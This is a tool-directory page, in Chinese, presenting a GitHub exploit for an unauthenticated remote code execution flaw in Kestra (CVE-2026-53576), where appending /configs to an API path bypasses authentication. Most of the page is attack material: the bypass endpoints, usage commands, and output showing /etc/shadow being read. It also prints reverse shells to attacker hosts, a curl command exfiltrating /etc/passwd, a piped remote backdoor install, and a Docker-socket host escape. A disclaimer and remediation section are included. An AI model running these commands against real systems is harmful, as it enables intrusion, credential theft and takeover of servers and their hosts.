Skip to content
KitploitKITPLOIT
工具博客
提交
工具博客
提交

黑客、渗透测试和网络安全工具,武装您的安全武器库!

Kitploit 是一个黑客、网络安全和渗透测试工具的目录。发现最新的项目更新,查找漏洞、分析系统、自动化测试并加强你的安全。

··订阅源·联系·隐私·© 2026 Kitploit

工具目录

分类

查看所有分类
Loading categories
CVE-2026-53576 — Kestra Unauthenticated RCE Exploit (CVE-2026-53576) | Kitploit
工具/GitHubGitHub/tamatahyt/cve-2026-53576
Authentication & AuthorizationPrivilege EscalationExploitationWeb Application ExploitationData ExfiltrationPost-ExploitationPenetration TestingRed TeamingPayload DevelopmentContainer Escape
GitHubtamatahyt/cve-2026-53576
19天前尚未审核

最受欢迎

查看全部 →

发现我们社区最常用的工具。

探索所有工具

浏览我们的工具集合

查看所有工具 →
分享

CVE-2026-53576

Kestra Unauthenticated RCE Exploit (CVE-2026-53576)

查看仓库

Kestra 未认证 RCE 漏洞利用工具 (CVE-2026-53576)

Python License Security Kestra

严重的认证绕过漏洞,可导致未认证远程代码执行

漏洞利用 • 漏洞详情 • 影响 • 修复建议


⚠️ 免责声明

此工具仅用于教育和经授权的安全测试目的。

  • 切勿对您不拥有或没有明确书面许可的系统使用本工具。
  • 切勿将其用于非法活动。
  • 作者对任何滥用本工具的行为不承担责任。
  • 请自行承担风险使用。

📋 目录

  • 概述
  • 漏洞详情
  • 漏洞利用
  • 安装
  • 示例
  • 影响
  • 修复建议
  • 时间线
  • 参考
  • 许可证

🔍 概述

CVE-2026-53576 是 Kestra OSS v1.3.20 及更早版本中的一个严重漏洞,攻击者可通过绕过认证过滤器实现未认证远程代码执行。

关键信息


🚨 漏洞详情

根本原因

Kestra 的认证过滤器存在一个严重的逻辑缺陷:

root@kitploit:~
// Vulnerable code in AuthenticationFilter.java:53
boolean isConfigEndpoint = request.getPath().endsWith("/configs")

该检查会判断任何 API 请求是否以 /configs 结尾,而不是匹配精确的路由。这允许攻击者通过在任意端点后附加 /configs 来绕过认证。

利用步骤

  1. 创建恶意流程 → POST /api/v1/main/flows/configs(绕过认证)
  2. 触发执行 → POST /api/v1/main/executions/configs/configs(绕过认证)
  3. 以 root 身份执行命令 → 完全控制目标系统

存在漏洞的端点

root@kitploit:~
# Any path ending in /configs bypasses authentication
/api/v1/main/flows/configs          # Create flows
/api/v1/main/executions/configs/configs  # Execute flows
/api/v1/{tenant}/flows/configs      # Any tenant
/api/v1/{tenant}/executions/configs/configs  # Any tenant

💻 漏洞利用

基本用法

root@kitploit:~
python3 kestra_exploit.py <target_ip>

高级用法

root@kitploit:~
# Custom port
python3 kestra_exploit.py 192.168.1.100 -p 8080

# HTTPS
python3 kestra_exploit.py 192.168.1.100 --https

# Custom command
python3 kestra_exploit.py 192.168.1.100 -c "whoami && hostname"

# Check Docker socket access
python3 kestra_exploit.py 192.168.1.100 --docker-check

# Clean up after exploitation
python3 kestra_exploit.py 192.168.1.100 --cleanup

# Full attack with all options
python3 kestra_exploit.py 192.168.1.100 -p 8080 --docker-check --cleanup -c "id > /tmp/proof.txt"

命令选项


📦 安装

环境要求

root@kitploit:~
pip install requests

克隆仓库

root@kitploit:~
git clone https://github.com/yourusername/CVE-2026-53576
cd CVE-2026-53576

验证安装

root@kitploit:~
python3 kestra_exploit.py --help

🎯 示例

示例 1:基本利用

root@kitploit:~
python3 kestra_exploit.py 192.168.1.100

输出:

root@kitploit:~
============================================================
Kestra Unauthenticated RCE Exploit
Security Research Tool - Authorized Use Only!
============================================================
[*] Target: 192.168.1.100:8080
[*] Protocol: http
============================================================

[Step 1] Creating malicious flow...
[*] Creating malicious flow at http://192.168.1.100:8080/api/v1/main/flows/configs
[*] Command: id > /tmp/proof.txt; cat /etc/shadow | head -1 >> /tmp/proof.txt
[+] Flow created successfully! (Status: 200)
[+] Flow revision: 26

[Step 2] Triggering execution...
[*] Triggering execution at http://192.168.1.100:8080/api/v1/main/executions/configs/configs
[+] Execution triggered successfully!
[+] Execution ID: 4nxNTHPk2WInfrnxQa6KF2
[+] Status: CREATED

[Step 3] Checking execution status...
[+] Execution status: SUCCESS
[*] Final status: SUCCESS

[+] Exploitation complete!
[*] To verify the attack succeeded, check the target system for:
    - /tmp/proof.txt containing command output
    - Kestra UI execution logs
    - Web UI: http://192.168.1.100:8080/ui/

示例 2:反弹 Shell

root@kitploit:~
python3 kestra_exploit.py 192.168.1.100 -c "bash -i >& /dev/tcp/10.0.0.1/4444 0>&1"

示例 3:数据外泄

root@kitploit:~
python3 kestra_exploit.py 192.168.1.100 -c "curl -X POST http://attacker.com/exfil -d @/etc/passwd"

示例 4:Docker 逃逸检查

root@kitploit:~
python3 kestra_exploit.py 192.168.1.100 --docker-check --cleanup

💥 影响

直接影响

攻击能力

未认证的攻击者可以:

  1. 以 root 身份执行任意命令:

    root@kitploit:~
    # Read secrets
    cat /app/conf/application.yml
    
    # Reverse shell
    bash -i >& /dev/tcp/attacker.com/4444 0>&1
    
    # Install malware
    curl http://attacker.com/backdoor.sh | bash
    
  2. 横向移动到宿主机系统(如果挂载了 Docker socket):

    root@kitploit:~
    docker run -v /:/host --privileged alpine chroot /host
    
  3. 访问云元数据(如果运行在云服务商上):

    root@kitploit:~
    curl http://169.254.169.254/latest/meta-data/
    

🛡️ 修复建议

立即采取的措施

  1. 关闭存在漏洞的实例:

    root@kitploit:~
    sudo systemctl stop kestra
    
  2. 阻止公共访问:

    root@kitploit:~
    iptables -A INPUT -p tcp --dport 8080 -j DROP
    
  3. 应用防火墙规则:

    • 限制为仅内部网络访问
    • 对管理访问使用 VPN

永久修复

  1. 将 Kestra 更新到最新的已修复版本:

    • 监控:https://github.com/kestra-io/kestra
    • 查看:https://github.com/kestra-io/kestra/security/advisories/GHSA-2q47-568g-9h4f
  2. 实施适当的认证机制:

    • 使用 OAuth2/OIDC 代替 Basic Auth
    • 启用多因素认证
  3. 容器加固:

    • 以非 root 用户运行
    • 不要挂载 /var/run/docker.sock
    • 使用只读根文件系统
  4. 网络安全加固:

    • 使用具有正确路由的 API 网关
    • 实施 WAF 规则
    • 启用请求验证

📅 时间线

日期事件
2026-05-26发现漏洞
2026-06-03发布 Kestra 安全公告
2026-06-10分配 CVE-2026-53576
2026-06-15公开披露

📚 参考

  • Kestra 安全公告 GHSA-2q47-568g-9h4f
  • 华为 PSIRT
  • CVE-2026-53576 详情
  • OWASP Top 10 - 失效的访问控制

📄 许可证

root@kitploit:~
MIT License

Copyright (c) 2026 Security Researcher

Permission is hereby granted, free of charge, to any person obtaining a copy
of this software and associated documentation files (the "Software"), to deal
in the Software without restriction, including without limitation the rights
to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
copies of the Software, and to permit persons to whom the Software is
furnished to do so, subject to the following conditions:

THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
SOFTWARE.

⭐ 支持

如果您觉得此工具对您有帮助:

  • ⭐ 为仓库点星标
  • 🐛 报告问题
  • 🔄 提交拉取请求
  • 📢 负责任地分享

🙏 致谢

  • 感谢 Kestra 团队发布安全公告
  • 感谢披露此漏洞的安全研究人员
  • 感谢开源安全社区

⚠️ 请负责任地使用 ⚠️

报告漏洞 • 安全政策 • 联系

下载工具
属性值
CVE 编号CVE-2026-53576
严重程度严重 (CVSS 9.8)
漏洞类型认证绕过 + RCE
受影响产品Kestra OSS
受影响版本≤ v1.3.20
攻击向量网络
所需认证无
用户交互无
选项说明
target目标 IP 地址或主机名(必填)
-p, --port端口(默认:8080)
--https使用 HTTPS 代替 HTTP
-c, --command要执行的自定义命令
--docker-check检查 Docker socket 访问权限
--cleanup利用完成后删除流程
--delay请求之间的延迟(默认:2 秒)
类别严重程度描述
机密性⚠️ 严重读取任意文件(密码、密钥、配置)
完整性⚠️ 严重创建/修改/删除流程和数据
可用性⚠️ 高关闭系统、资源耗尽
认证⚠️ 严重完全绕过 Basic-Auth
权限提升⚠️ 严重以 root(uid=0)身份执行命令
容器逃逸⚠️ 严重通过 Docker socket 攻陷宿主机
2026-08-01
发布 PoC